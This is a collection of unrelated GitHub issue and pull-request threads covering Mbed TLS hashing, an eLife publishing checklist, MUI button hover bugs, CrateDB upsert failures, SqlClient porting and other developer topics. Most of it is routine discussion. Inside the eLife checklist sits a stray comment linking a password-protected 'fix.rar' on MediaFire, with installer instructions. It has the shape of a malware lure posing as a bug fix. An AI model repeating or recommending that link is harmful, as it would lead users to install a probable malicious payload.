Support SHA-256 in ssl_cookie.c

ssl_cookie.c uses the smallest secure hash available, with SHA-1 as a last resort. In Mbed TLS 3.x, it will become possible to configure SHA-384 and SHA-512 separately, and to configure SHA-256 and SHA-224 separately. https://github.com/ARMmbed/mbedtls/pull/4304 adds the configuration options, with follow-ups yet to come to make all combinations work optimally.
The goal of this task is to ensure that ssl_cookie.c works in all reasonable configurations and uses the desired hash. This definitely includes a SHA-256-only build. Open questions:

Do we want to bother with SHA-224 at all?
Do we want to add support for a SHA-512-only build (which is already possible in Mbed TLS 2.x since MBEDTLS_SHA512_NO_SHA384 was added)?
Do we want to support migration from builds of older versions of the library that had a different set of hashes?

Do we want to add support for a SHA-512-only build (which is already possible in Mbed TLS 2.x since MBEDTLS_SHA512_NO_SHA384 was added)?

I don't think (D)TLS works with a SHA-512-only build, as no SHA-512 ciphersuites have been defined so far - see IANA registry.
I agree that SHA-384-only and SHA-256-only should be supported.

Do we want to bother with SHA-224 at all?

Probably not. It was chosen because it saved 4 bytes on the wire and it was convenient, but if it stops being as convenient, we should favour simplicity.


[UI Enhancement] 导入项目时选择组织后需要加载一段时间 - 请增加 loading effect 效果

请增加 loading effect 效果 - 让用户意识到目前正在加载 repo 列表

Hi, I would like to work on this issue. Could you please assign it to me?

I would like to claim this issue.

How do I get involved?

How do I get involved?

Hi, @curie123. Some one has already taken it. If you're interested maybe you can add my wechat, I will create more tickets recently.


MSID: 94558 Version: 2 DOI: 10.1101/2<IP_ADDRESS>1117

MSID: 94558
Version: 2
Preprint DOI: https://doi.org/10.1101/2<IP_ADDRESS>1117
Step 1. Awaiting reviews
Editorial to post reviews via hypothesis
Useful links:

DocMap: https://data-hub-api.elifesciences.org/enhanced-preprints/docmaps/v2/by-publisher/elife/get-by-manuscript-id?manuscript_id=94558
New model tracking: https://docs.google.com/spreadsheets/d/1_fHaoOy7hjyocptKtVJRijeNpUY4hBS7Ck_aVmx6ZJk/
Reviews on sciety: https://sciety.org/articles/activity/10.1101/2<IP_ADDRESS>1117

For trouble shooting (e.g. no Docmaps available):

DocMap issue addressing: https://miro.com/app/board/uXjVNCwK6EI=/
Explore DataHub DocMaps API: https://lookerstudio.google.com/reporting/4c2f0368-babb-4beb-b5b3-497e7e7b0f08/page/ejphD
Unmatched submissions and preprints: https://lookerstudio.google.com/u/0/reporting/9f86204f-3bf7-477c-9b18-5c5ef141bf69/page/p_gxi57ha93c
Unmatched manuscripts spreadsheet: https://docs.google.com/spreadsheets/d/15QcK8w-ssB7109RQEDtFpJPZ0J5HTGxoHa_2TtpMBbg/edit#gid=1336081641

Step 2. Preview reviewed preprint
Production QC content ahead of publication
Instructions:

QC preview: https://prod--epp.elifesciences.org/previews/94558v2
Update ticket with any problems (add blocked label)
When QC OK, add QC OK label to ticket and add publication date and time to https://docs.google.com/spreadsheets/d/1amAlKvdLcaDp5W8Z8g77NmkwbMF5n_u89ArSqPMO8jg
Move card to next column
(At end of the day post link in #enhanced-preprint and ask for PDF to be generated)

Useful links:

Preprint DOI :  https://doi.org/10.1101/2<IP_ADDRESS>1117
Confirm reviews returned by EPP: https://prod--epp.elifesciences.org/api/reviewed-preprints/94558/v2/reviews
To update the MECA path in the docmap: https://docs.google.com/spreadsheets/d/1mctCQuNFBjSn97Lihy7_vBO6z7-N-oqyLv4clyi6zHg

Step 3: Awaiting search reindex
This step adds the reviewed preprint to the homepage: https://elifesciences.org
The search reindex is triggered once an hour. We need the reviewed preprint to be indexed as the search application serves the journal homepage.
Useful links:

Jenkins pipeline to reindex search can be triggered sooner or monitored here: https://alfred.elifesciences.org/job/process/job/process-reindex-reviewed-preprints/

Step 4: Published! PDF requested
Waiting for PDF to be generated
Useful links:

PDF tracking: https://docs.google.com/spreadsheets/d/106_XeDjmuBae7gexOTNzg60lapeqjl2aRn9DzupGyS8/

Step 5: Introduce PDF to data folder and git repo
Upload PDF to relevent folder in git repo https://github.com/elifesciences/enhanced-preprints-data/
Step 6: Done!

[ ] Kettle is on!

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."


[Select] Fix height overflow

Closes #20811
Related to #20752
This is another attempt after #20780
Adds regression test for <Select multiple /> with Chips not overflowing

[x] I have followed (at least) the PR section of the contributing guide.

@esseswann Thanks

Could a release be cut for this soon? It's a pretty bad visual bug :)

@Floriferous You can rollback to a previous version or use the version published by codesandbox-ci. Next release this weekend.

Does this issue also fix this problem: https://codesandbox.io/s/still-mountain-gfru2
It is not in multiple mode, but it displays a multiple line value. This worked in 4.9.11 as well.

Does this issue also fix this problem: https://codesandbox.io/s/still-mountain-gfru2
It is not in multiple mode, but it displays a multiple line value. This worked in 4.9.11 as well.

It seems to be coming from another source. I think you should create a separate bug and we should MuiInputBase-input use the solution introduced in this pull request


[docs]: Should VSCode highlight missing params?

Describe the missing piece of documentation
I am going through the documentation and I get to https://stacked.filledstacks.com/docs/getting-started/navigation-basics#navigate-to-a-view-with-arguments and when I run stacked generate, should there be red "error" highlighting in VSCode to signify that you need to add a param to navigateToHomeView ?
When I run flutter run it fails as expected, but was hoping the UI in VSCode would show this error before compilation?

Hi, VS code does show it. If it's required then it'll be shown.
Sometimes the plugin doesn't update correctly. This is a problem with the VS code flutter & dart plugin, not Stacked.


Debug traffic script

#1. Issue description
TBB Warning: Exact exception propagation is requested by application but the linked library is built without support for it
terminate called after throwing an instance of 'osrm::util::exception'
  what():  CSV file ../osrm-data/traffic.csv malformed on line 1:
 13396984,27077922,25.277778
include/updater/csv_file_parser.hpp:120include/updater/csv_file_parser.hpp:85
Aborted (core dumped)
#2. Issue description
TBB Warning: Exact exception propagation is requested by application but the linked library is built without support for it
terminate called after throwing an instance of 'osrm::util::exception'
  what():  CSV file ../osrm-data/traffic.csv malformed on line 6727408:
 33699965,33699966,

#1. OSRM traffic parse don't support float value for speed, change to integer
Reproduce issue:
./osrm-customize ../osrm-data/California.osrm --segment-speed-file ../osrm-data/traffic.csv
Reproduce the issue on local, debug in xcode:
Command line:/Users/xunliu/Desktop/git/telenav/datacompile/ca-here/osrm-data/ca-here/California.osrm --segment-speed-file
Compile error
clang: error: no such file or directory: '/Users/xunliu/Desktop/git/telenav/osrm-backend/xcode/Debug/libosrm_update.a'
clang: error: no such file or directory: '/Users/xunliu/Desktop/git/telenav/osrm-backend/xcode/Debug/libosrm_store.a'
Modify osrm-customize-> other linker flags.  Make correct path for Debug and Release
Code error
csv_file_parser.hpp -> parsecsvfile

#2. go script issue

After go finished file writing, need to Sync()


Distributional DDPG Progress?

What is the status of Distributional DDPG? In the Readme, it says "coming soon".

Good question, it definitely seems worth including, but my immediate to-do list is already full with other things.  Can see if I can find someone to code it up, or do you want to give it a try?  I have some compute to run mujoco benchmarks to verify.
Anyone else have it up and running?

I'm interested to do it. For now, I'm trying to discretize my environment and use r2d1. I will try to replace dqn with ddpg, after trying r2d1.

I want to start to add the recurrent replay for DDPG. But before that, I want to understand the recurrent replay better. I'm thinking of using recurrent replay for PPO_LSTM instead of DDPG.

I tested PPO_LSTM and the result is good. In this implementation, it collects some trajectories and uses them to train LSTM and then clean the buffer, right? It is sequentially, first collect data then update the net. In openAI five, they use async sampling and optimization (I think it is similar to async sampler and runner in rlpyt?) to collect data and save in a buffer and an optimizer samples data to do gradient descent and update worker weights. So this is not on-policy anymore and they do not erase the buffer, right? Is it okay to extend the PPO_LSTM to do sth similar?

Great!  Right, that is all correct about buffers + async, etc.  It seems PPO is able to handle being slightly off-policy, and could be worth a try in the async setting.  Eventually it could be interesting to compare against an algorithm like V-trace for slight off-policy learning.


UPSERT stopped working (possible regression)

CrateDB version
5.3.1
CrateDB setup information
Number of nodes: 1
CRATE_HEAP_SIZE: 2g
docker-compose.yml:
version: '3.8'
services:
  crate:
    image: crate:5.3
    environment:
      - CRATE_HEAP_SIZE=2g
    networks:
      - cloud
    ports:
      - 4200:4200
    volumes:
      - crate-data:/data
    command: [
      "crate",
      "-Cnetwork.host=_site_",
      "-Cnode.name=local",
      "-Cdiscovery.type=single-node"
    ]
volumes:
  crate-data:

Problem description
UPSERT queries stopped inserting or updating the table without giving an error (rowcount is always 0).
Change image to crate:5.2 in docker-compose.yml and query works.
Steps to Reproduce

Start Compose services

docker compose up

Create table with schema:

CREATE TABLE IF NOT EXISTS "cloud"."test" (
   "system" TEXT NOT NULL,
   "company_id" TEXT NOT NULL,
   "enabled" BOOLEAN,
   "options" ARRAY(OBJECT(STRICT) AS (
      "name" TEXT,
      "value" TEXT
   )),
   PRIMARY KEY ("system", "company_id")
)
CLUSTERED INTO 1 SHARDS
WITH (
   "allocation.max_retries" = 5,
   "blocks.metadata" = false,
   "blocks.read" = false,
   "blocks.read_only" = false,
   "blocks.read_only_allow_delete" = false,
   "blocks.write" = false,
   codec = 'default',
   column_policy = 'strict',
   "mapping.total_fields.limit" = 1000,
   max_ngram_diff = 1,
   max_shingle_diff = 3,
   number_of_replicas = '0-1',
   "routing.allocation.enable" = 'all',
   "routing.allocation.total_shards_per_node" = -1,
   "store.type" = 'fs',
   "translog.durability" = 'REQUEST',
   "translog.flush_threshold_size" = 536870912,
   "translog.sync_interval" = 5000,
   "unassigned.node_left.delayed_timeout" = 60000,
   "write.wait_for_active_shards" = '1'
)

3.Execute UPSERT query
curl --location 'http://localhost:4200/_sql?types=null' \
--header 'Content-Type: application/json' \
--data '{"stmt":"insert into \"cloud\".\"test\" (\"company_id\", \"enabled\", \"options\", \"system\") values (?, ?, ?, ?) on conflict (\"company_id\", \"system\") do update set enabled = $2, options = $3","bulk_args":[["df1a821d8c9",true,[{"name":"username","value":"a7dd8f8bbd7"},{"name":"password","value":"fa390881aea"}],"xyz"]]}'

Actual Result
No rows are inserted/updated, no errors logged.
{
    "cols": [],
    "duration": 2.780786,
    "results": [
        {
            "rowcount": 0
        }
    ]
}

Expected Result
Row inserted/updated
{
    "cols": [],
    "duration": 2.780786,
    "results": [
        {
            "rowcount": 1
        }
    ]
}

Thanks for the report. This should be fixed with https://github.com/crate/crate/pull/14170


App startup failed!

启动后出现
[ERROR][2023-06-01 10:41:41][log.py:45] - App startup failed!
[ERROR][2023-06-01 10:41:41][log.py:50] - cannot import name 'ChatHubRequest' from 'EdgeGPT' (/usr/local/Python3.9.1/lib/python3.9/site-packages/EdgeGPT.py)
Traceback (most recent call last):
File "/root/bot-on-anything-1.1.0/app.py", line 42, in main
start_process(channel_type[0], args.config)
File "/root/bot-on-anything-1.1.0/app.py", line 23, in start_process
raise e
File "/root/bot-on-anything-1.1.0/app.py", line 20, in start_process
channel.startup()
File "/root/bot-on-anything-1.1.0/channel/terminal/terminal_channel.py", line 21, in startup
for res in super().build_reply_content(prompt, context):
File "/root/bot-on-anything-1.1.0/channel/channel.py", line 31, in build_reply_content
return Bridge().fetch_reply_content(query, context)
File "/root/bot-on-anything-1.1.0/bridge/bridge.py", line 18, in fetch_reply_content
return model_factory.create_bot(type).reply(query, context)
File "/root/bot-on-anything-1.1.0/model/model_factory.py", line 29, in create_bot
from model.bing.new_bing_model import BingModel
File "/root/bot-on-anything-1.1.0/model/bing/new_bing_model.py", line 9, in
from model.bing.jailbroken_sydney import SydneyBot
File "/root/bot-on-anything-1.1.0/model/bing/jailbroken_sydney.py", line 8, in
from EdgeGPT import ChatHubRequest, Chatbot, Conversation, ChatHub
ImportError: cannot import name 'ChatHubRequest' from 'EdgeGPT' (/usr/local/Python3.9.1/lib/python3.9/site-packages/EdgeGPT.py)

同样的


loader.setRequestHeader is not a function

const gltf = await loadGltf('./temp/shoes.glb');

error: loader.setRequestHeader is not a function

Can you please provide more details (such as full error log, operatating system, Node.js version, three.js version)?


chore(main): release 0.4.8

:robot: I have created a release beep boop
0.4.8 (2024-08-22)
Reverts

fix codespell config (fd2854e)

Documentation

change path to logo image (b316fc0)
Update page title in mkdocs.yml (aa1b221)

This PR was generated with Release Please. See documentation.

:robot: Created releases:

v0.4.8
:sunflower:


Bump auth-tokens dependency to 1.0.0

This change is

Only problem might be https://github.com/palantir/auth-tokens/commit/a8a475aea076ce77eda546af917207967f5d08f0 ?

@uschi2000 removing the superfluous Jackson annotations seems benign to me.


a11y in empty gantt : The scrollable element  with non-interacti…

…ve content is not tabbable

Signed-off-by: Author Name<EMAIL_ADDRESS>


Not a bug but need help

No such file or directory keeps popping up
and some other issues
would like to contact for help since https://rentry.co/ntscqtplustutorial is not that helpful

Show some screenshots, so i can see how i can do about this.

Oh no don't worry I managed to fix it some time ago
On Fri, Apr 28, 2023 at 11:59 PM RGM @.***> wrote:

Show some screenshots, so i can see how i can do about this.
—
Reply to this email directly, view it on GitHub
https://github.com/rgm89git/ntscQTplus/issues/2#issuecomment-1528134557,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/A7FU7GC4PZA3RVO5YN257LDXDQ4UFANCNFSM6AAAAAAW7P4KVM
.
You are receiving this because you authored the thread.Message ID:
@.***>

i need help with the same problem


replace missing layer getSQL with getQuery

getSQL didn't exist when I tried this.

Ping

@knownasilya assigning @vhamer so she manages the CLA stuff

Sorry for the delay, all! @knownasilya has a signed CLA already, so we're good to go! Ilya, thanks for your continued contributions to CartoDB.


hover media query issue on mobile

I have noticed that MUI relies on hover media queries to check how to implement buttons, here is an example.
Some browsers do not support this feature or they report an incorrect value, this has caused buttons to be "stuck" after touching them.
I'd like to be able to configure MUI to treat the device input as a touchscreen with no hover support.
As a workaround, I made this JSS plugin that I run before the MUI plugins.
I did not have this issue in MUI 0.x.

Some browsers do not support this feature or they report an incorrect value [...]

Could you be more specific here?

[...] this has caused buttons to be "stuck" after touching them.

Are you sure this isn't the focused state? As far as I know touch devices don't even trigger hover.

I am talking about the hover CSS media feature.

The Android 4.4 webview do not support this feature (this is not such a big issue).
Samsung Galaxy Note 9 (SM-N960F) reports that is supports hover

When this happens, the buttons get stuck as described here and here.
Touch devices trigger the :hover CSS selector for backward compatibility reasons.

I am talking about the hover CSS media feature.

I understood that. I was asking about concrete device and demos on our page so that I can reproduce this. Chrome devtools won't trigger :hover if I'm in device mode.

It triggers on the material-ui 3.x demo button component doc page. You can test on the galaxy s9 with chrome 73.
Sorry for the formatting, have a great weekend

It triggers on the material-ui 3.x demo button component doc page. You can test on the galaxy note 9 with chrome 73.

Got it. You already implied this in your previous comment, sorry. For anybody wondering how this issue looks:

After I moved the cursor from the button I click again which removes the hover. You can see this by the slight change in color (a little bit darker when hovered).

@eps1lon Yes, this is the exact issue I am facing, the issue is more visible on "flat" buttons like these.

Oh, I was exploring this same issue in without knowing: #15736.

I can not solve it at my code, even if I do it I need to correct for all buttons in my code. I have one solution to change @media (hover: none) to  @media (hover: none), (pointer: coarse)

@Koniushok you can customize your theme to override MuiButtonBase (hover transparent) when the device is mobile. Note this wouldn't solve the issue on hybrid devices...
There is a talk about these issues by Rick Hanlon. No idea if it would be acceptable for Mareial-UI to add mouse enter/ leave to handle hover? @oliviertassinari

@dan8f I have jumped and skipped the talk. When the codebase was using inline styles, we used to have this logic.
I think that our first area of investigation should be to dive into why new Samsung touch devices behave differently than the other brands. If they acknowledge that it's a regression, I think that we can wait for their fix.

@oliviertassinari I noticed this is happening with Samsung phones that have a stylus. I think its a limitation because the hover media query prop remains active when the stylus is inactive.

The Ionic approach doesn't work: https://codesandbox.io/s/material-demo-s1ux7.
I'm not aware of any good solution to the problem. I would propose that we wait for somebody to explore the possible solutions to the problem and to report back. I don't think that it's something the core team should invest time one. If somebody can find a solution that minimizes override complexity and bundle size, we will consider accepting it. For instance, @media (pointer: ) { is not a valid option.

I'm afraid is not just Samsung devices. This problem also surfaces in Xiaomi too (tested on Xiaomi Mi A1), as well as hybrid devices.

The Ionic approach doesn't work: https://codesandbox.io/s/material-demo-s1ux7.
I'm not aware of any good solution to the problem. I would propose that we wait for somebody to explore the possible solutions to the problem and to report back. I don't think that it's something the core team should invest time one. If somebody can find a solution that minimizes override complexity and bundle size, we will consider accepting it. For instance, @media (pointer: ) { is not a valid option.

It looks like there is small javascript solution described here http://www.prowebdesign.ro/how-to-deal-with-hover-on-touch-screen-devices/
//test for touch events support and if not supported, attach .no-touch class to the HTML tag.

if (!("ontouchstart" in document.documentElement)) {
    document.documentElement.className += " no-touch";
}
`

I'm hitting the same issue as described here. After spending a few hours debugging, I noticed that one can block the emulated click even from ontouchend by calling e.preventDefault(), which in turn will prevent the hover stuff from happening. The mdn documentation mentions this: https://developer.mozilla.org/en-US/docs/Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent.
But, with material-ui there is a problem with this. When calling e.preventDefault() from ontouchend, the tripple animation wont complete. Would it be possible to make this animation to complete regardless of any possible e.preventDefault() calls on ontouchend?

@vhakulinen The logic initially comes from https://github.com/mui-org/material-ui/commit/7d18a95fb6b4b89ccea1ca4998e5be38e9f4588c#diff-07544a6835ff92a7d3d095086e03361dR8. I have no objection with removing the check. Do you want to give it a try? :)

I kinda do want to give it a try, but I'm working on other stuff for now. Once I get to back to the project where this is a problem, I might give it a shot!

@vhakulinen Perfect :)

I don't think that this problem is worth investing much more energy on it.

@oliviertassinari In my page, buttons appear gray (disabled), for mobile users if a form throws an error. The same bug happens when testing on chrome and setting it in responsive mode.
Is there a fix for this issue

@oliviertassinari In my page, buttons appear gray (disabled), for mobile users if a form throws an error. The same bug happens when testing on chrome and setting it in responsive mode.
Is there a fix for this issue?
For anyone, my fix is:
const theme = createMuiTheme({
  overrides: {
    MuiButton: {
      contained: {
        '@media (hover: none)': {
          '&:hover': {
            backgroundColor: `${primary_color} !important`
          }
        },
}}}});

This also overrides the disabled state of the button.


Uploader - don't include file in 1970 for the upload and other information

Context
We found the timestamps issue from the partner project . After investigation we found that in the AudioMoth folders containing filename 1970mmdd_hhmmss is causing the issue. When upload with this file, the uploader doesn't upload with the file configuration (UTC-6) but it uploaded with UTC instead.
See more discussion in https://rfcx.slack.com/archives/C03FD1WD02J/p1715761582406039
It is possible this cause the issue of deployment not found as well. We should not include 1970 file inside the AudioMoth folder to use any information from it.
Expect results

[ ] Uploader doesn't include the weird filename (like in 1970) to use for the timezone and deployment
[ ] When user uploads the AudioMoth files containing 1970 file in site, files should be uploaded with the correct timezone (same as device configuration)
[ ] When user uploads the AudioMoth files containing 1970 file in site, Uploader should detect the deployment information

I think the problem is here: https://github.com/rfcx/arbimon-uploader/blob/4517aedcc6c88e2ce43d2aa992b168d2bc7caa5f/src/renderer/services/file.js#L537

my test case:

I guess I need the original folder to fix this problem OR if you have the folder with these recs please share it with me @koonchaya

Released in v1.2.2 🚀


Cannot select multiple fields for service webhook trigger

Hi there,
according to this link it should be possible to filter events to include only work items with different fields changed.
However in the Web UI I can only select one field per subscription.
Alternatively filtering those events with tags would be fine too but I cannot find any detailed documentation of how to use tags.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 6033d681-9093-547c-20fd-b31183c2bb33
Version Independent ID: 0d92e3f0-7fb4-57e5-d913-f305a055a819
Content: Service hooks event reference - Azure DevOps
Content Source: docs/service-hooks/events.md
Product: devops
Technology: devops-collab
GitHub Login: @chcomley
Microsoft Alias: chcomley

@eeepmb -- thank you for your feedback.  Please consider these resources:

Azure DevOps Services
Azure DevOps on Stack Overflow

@chcomley -- please look into this potential documentation issue.

Hi @eeepmb,
The team has heard your feedback and is planning to address it in an upcoming sprint.
Unfortunately, my link to their user story isn't public facing, so I can't provide it for reference.
I'm going to close this issue for now and will comment once this work is complete. If you have any questions, feel free to @mention me. Thanks so much for your feedback!

Publishing the update momentarily!


Add support for NumPy 1.23.

Adds support for NumPy 1.23 to Numba. With thanks to @gmarkall for patches for the CUDA target.
The Azure CI matrix now looks like this:
$ python -c 'from numba.tests.support import print_azure_matrix; print_azure_matrix()'
NumPy | Python | Count
-----------------------
 1.18 |  3.7   |   4
 1.18 |  3.8   |   1
 1.19.2=*_0 |  3.8   |   3
 1.19.2=*_0 |  3.9   |   1
 1.20 |  3.8   |   3
 1.20 |  3.9   |   1
 1.21 |  3.9   |   1
 1.21 |  3.10  |   1
 1.22 |  3.10  |   1
 1.22 |  3.8   |   1
 1.23 |  3.9   |   1
 1.23 |  3.10  |   2

gpuci run tests

Am marking this as ready for review as the 32bit build fail on Azure CI is unrelated.

Thanks for finding the patch breaking example in https://github.com/numba/numba/pull/8377#pullrequestreview-1083461152 @gmarkall, I've added 8b0d0d2 in an attempt to address this. I noticed when writing it that the existing Numba implementation doesn't exactly replicate NumPy either with respect to error messages, but suggest leaving that for another time (an error is raised, it's just not the same as that in NumPy < 1.23).

/azp run

gpuci run tests


Store image assets don't load properly with App Transport Security on El Capitan

The problem occurs when compiling against the 10.11 SDK with Xcode 7, which enables Apple's new App Transport Security, disabling non-secure HTTP loads by default.
https://developer.apple.com/library/prerelease/ios/technotes/App-Transport-Security-Technote/?cm_mc_uid=07998743765214248868379&cm_mc_sid_50200000=1442426628
While the page itself loads OK, since it's connecting to https://sites.fastspring.com, some of the images in the page do not load. In the example screenshot, the icon for the app being sold is missing, as well as icons in the "Order Now" button, the icon by the language selection menu, etc.

This also causes error messages like the following to be printed to the console, indicating that there are connections being blocked by ATS.
2015-09-25 17:45:51.839 PowerPhotos[15923:21862984] NSURLSession/NSURLConnection HTTP load failed (kCFStreamErrorDomainSSL, -9802)
This can be worked around by adding the NSAppTransportSecurity and NSAllowArbitraryLoads keys in your Info.plist file, but it should be made possible to load the embedded store without needing to make any exceptions in the Info.plist.

Hi @bewebste
Sorry for our late reply. We looked into it and it happens because cloudfront.net hasn't switched to SHA256, yet. We don't want to over-promise on behalf of AWS but we expect Amazon to have things switched to SHA256 by the end of October. See also https://aws.amazon.com/security/security-bulletins/aws-to-switch-to-sha256-hash-algorithm-for-ssl-certificates/ and https://forums.aws.amazon.com/thread.jspa?messageID=678295#jive-message-679300.
As you already mentioned, you can work around it in the meantime by adding keys in your Info.plist files. This should help:
    <key>NSAppTransportSecurity</key>
    <dict>
        <key>NSExceptionDomains</key>
        <dict>
            <key>cloudfront.net</key>
            <dict>
                <key>NSExceptionRequiresForwardSecrecy</key>
                <false/>
                <key>NSIncludesSubdomains</key>
                <true/>
            </dict>
        </dict>
    </dict>

Best regards,
Lars


Cannot select rows or all rows

When trying to select a row, or select all rows, the icon flashes but nothing changes.

Expected Behavior
If the column checkbox is clicked, all rows are selected and checked. If a single row is selected, then that row's checkbox should be checked and selected.
Current Behavior
Clicking any checkbox to select a row results in the checkbox flashing, but no action is performed.
Your Environment

Tech
Version

Material-UI
@material-ui/core: ^3.2.0 / @material-ui/icons : ^3.0.1

MUI-datatables
mui-datatables : ^2.0.0-beta-39"

React
react : ^16.5.2

browser
Chrome Version 70.0.3538.102 (Official Build) (64-bit)

Just checked with another MUI Checkbox, and the issue seems linked to my repository. Closing this comment.


Build and project queries

I've cloned and followed the build instructions. It's quite chatty at the moment which probably helps with debugging and it almost works. What stops it is that the netcore project has xml comments enabled and is complaining that a lot of items are missing xml comments, 800+ of them. Some of these are new types from netfx and some are old that have been around a while. Is it a project goal to have the documentation complete? If not can we change the build to suppress the xml doc warnings/errors?
The project is split into two totally different branches for netfx and netcore. This is quite different to the corefx version which was built for two targets but had one set of source. Having two complete sets of source will make maintenance and changes more time consuming and error prone. Is this the final configuration for the repository? If so can you give me some detail about why this approach was chosen?
I've checked on a couple of my PR's that were open in corefx for bug fixes and those haven't been pulled into the 1.0 version. Do I need to get back over my PR history in corefx and diff those changes into this project?
Are there plans (however rough) for a release cadence that you can comment on? How often will official builds be made available on nuget?

Is this the final configuration for the repository? If so can you give me some detail about why this approach was chosen?

and

Are there plans (however rough) for a release cadence that you can comment on? How often will official builds be made available on nuget?

For porting activities, yes the remaining PRs were flagged for porting post GA, feel free to port them over here, if you have availability!

It's not just open PRs. For example https://github.com/dotnet/corefx/pull/35549 was merged in march and those changes aren't in this codebase. Will I need to back through all my previous changes and port them over again? How far back do I go?
I've got 10+ branches for performance improvements on the corefx version that I've been holding back to try not to complicate the porting process. Some of those are very complex and I'll now have to reimplement them twice. This additional complexity seems unnecessary at the moment given that the original corefx source build from a single location.

I thought the intention for this library was to be a single package which contained a unified SQL ADO driver for netfx core and netstandard. Have I misunderstood? is this not the intent?
It looks and reads like we've just got the code for the two totally separate libraries with no attempt to merge them, if that's the case why did it take so long to publish the code?

I thought the intention for this library was to be a single package which contained a unified SQL ADO driver for netfx core and netstandard. Have I misunderstood? is this not the intent?
It looks and reads like we've just got the code for the two totally separate libraries with no attempt to merge them, if that's the case why did it take so long to publish the code?

SDS shipped with .NET Framework and we are not able to add features there anymore. So the main intention is to have a package we can implement new features in, supporting both .NET Framework and .NET Core (the .NET Core implementation also supports .NET Standard). There is still a huge customer base on .NET Framework who would like to get the latest SQL features.
As for why it took so long, there are many reasons. A few of them are the many tentacles SDS had deep into .NET, building up new build and test pipelines, porting features and tests from Framework to MDS, keeping up with PRs from Core, going through iterations of trying to support back-compat features in unique but ultimately discarded ways, changing the namespace, separating the native and managed code on the Framework side, removing closed source code, building new packages supporting the unique needs of SqlClient, migrating from ADAL to MSAL, packaging and indexing symbols, migrating documentation, setting up localization, working out licensing issues, etc. We originally thought we could get it done by May but it turned out to be a lot more work.

Ok. So on to what next.
Looking at the codebases there's a lot in there that's similar and I think that working towards a unified codebase for the drivers is possible but a long job with a lot of compatibility testing required. Is this something you'd support doing and if so how would you prefer it to be implemented? The goal would be to have all tfm's present all features and for changes in one to be quickly easily and  automatically (where possible) be reflected in the others.
I think start by identifying shared files and moving them to a common location so both projects share them. Once done we'll have files with implementation specific behaviour neatly segregated and we can investigate how to align those implementations or keep them split in the leanest way possible. I usually like the corefx method of doing this by using project conditions and avoid #defines where possible.

Looking through the codebases some more a few more questions of policy and how we can contribute occur to me.

Should everthing be using the current corefx style of formatting (netfx code is using java style bracing.) and if so would you agree to taking a copy of the corefx editorconfig file and putting it hight enough up in the repo to affect everything? Then we could to fairly straight forward automatic format updates which would resolve a lot of differences in trivial files.
there are places where sql version specific checks are made and i've found at least one difference so far between core and fx in an isYukon (2005) check. This leads to two questions. Can we get a list of the supported SQL server targets so we can harmoize these checks, and can we rename these symbols from internal codenames to external marketting identifiers?.
I (and perhaps others) are looking to see how we contribute to this project in a co-operative way rather than just running off and doing my own thing which might cause conflicts. There's still a lot of performance work i've got mapped out that i'd like to bring into the project but i'd like to know if i can do so for all users and not just the netcore users.

re 1: Yes, that would be a good step towards enabling code sharing between the two code bases
re 3: Would improving code sharing not help with this?

Yup, just need to know if that's an agreed way to go. and 3. yes to some extent. The managed implementation doesn't exist in desktop at all in desktop and lags in performance but it's the only true open implementation which is an important consideration or some consumers, all other implementations use a closed source native component.

Maybe potential contributors could benefit from a wiki post with all this vital information?

Oh, and no Always Encrypted support on netstandard?

Netstandard ?? Assume you mean .NET Core? And is it not supported now? Or do you mean native versus open source implementation?

I decided to sync the ref projects so the differences were clearer. the AE classes and members are conditionally included in the netcore build but not in the netstandard build. So if you add M.D.SqlClient to a netstandard TFM project you won't see the AE members and thus be unable to use it. Presumably since you can use AE on netcore unix the implementation is entirely portable so it may just be a mistake.

We have a task to configure coding style and apply it to all the existing code. @cheenamalhotra is working on it.
It will be in the documentation that we are working on, but SQL Server version support follows what SQL Server versions are still in support at the time of release. So SQL Server 2012 and up for 1.0. I am not against renaming those symbols. It may be possible to just remove some/most of them.
I know you like perf work. The managed SNI layer is the obvious target for improvement and doesn't require working in both netfx and netcore. If it can be brought to perf and stability parity to the native SNI layer, that would be awesome. Anything that can move us towards a fully managed stack across platforms.
My understanding is that netstandard is missing certain encryption dependencies required by AE:
https://github.com/dotnet/SqlClient/blob/master/release-notes/1.0/1.0.19249.1.md#always-encrypted
I have a question out to the AE team about what exactly those dependencies are.

Listing items here so we can resolve this issue:

[ ] Configure Coding Style with .editorconfig - Done
[ ] Roadmap transparency in Repository Docs and GitHub Projects - Done
[ ] .NET API Reference documentation for Microsoft.Data.SqlClient - In Progress
[ ] Porting PRs from CoreFx - In Progress


Add CocoaPods instructions

@iRoachie can you take a look on this? :)

Hey, if you have codepods setup already, then running react-native link react-native-search-bar will add the pod for you to your pod file. All you should need to do is run pod install

Without changing the pbxproj?  that's cool! Maybe it should be explained on the readme 😅


channels: guarantee we always have group flag immediately upon join

OTT, this is an extensive change but should ensure that we always have the group populated in perm. This crops up in issues like #1891

Also tested locally. Appears to work as intended -- there's no visible UI change so I can't comment there.


please sync unittest-cpp with casablanca fork

Hi, since the Debian package is from a dead upstream, and you seems to be the new one, I would like to update the package with your fork.
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=784665
unfortunately a package I use (casablanca) did a fork with some new classes that makes the package fail to build with your code.
http://casablanca.codeplex.com/SourceControl/latest#Release/tests/common/UnitTestpp/
how do you feel about merging them to your fork?
after that I'll ask Debian to switch to your code :)

I haven't taken a look at Casablanca yet, but really shouldn't they be upgrading to us? :)

you seem to lack of (e.g. GlobalSettings.cpp).
I don't know if you do it in a different way or it is something new from them...

Had a quick look over lunch and got Casablanca to build and run the tests with VS2012.
At the risk of going OT; taking a peek at their UnitTestpp cmake file it is quite a bit simpler than the behemoth we use.  Would it be worth moving to something simpler like theirs? Not being a 'brain' at CMake every time I look in ours I get palpitations.

Another thought I had yesterday afternoon (but forgot to post) is to put UnitTest++ on NuGet, so then they can remove the hard coding of that version and pull in the version like they do with Boost.
Note: I have not looked at what you need to do to get a package on NuGet.

I don't know and understand what NuGet is, do you think you can help me on this matter?

NuGet is Microsoft's way of managing dependencies and getting source
packages.
If you build Casablanca in Visual Studio it will automatically pull in
Boost, zlib, ssl and several others automatically.
Putting UnitTest++ into NuGet will allow us to update Casablanca so it
treats it like any other dependency instead of a special case. Additionally
it improves the visibility of UnitTest++ and removes an older version from
the wild.
That is if Casablanca team accept the changes.
GR
Sent from my Nexus 5.
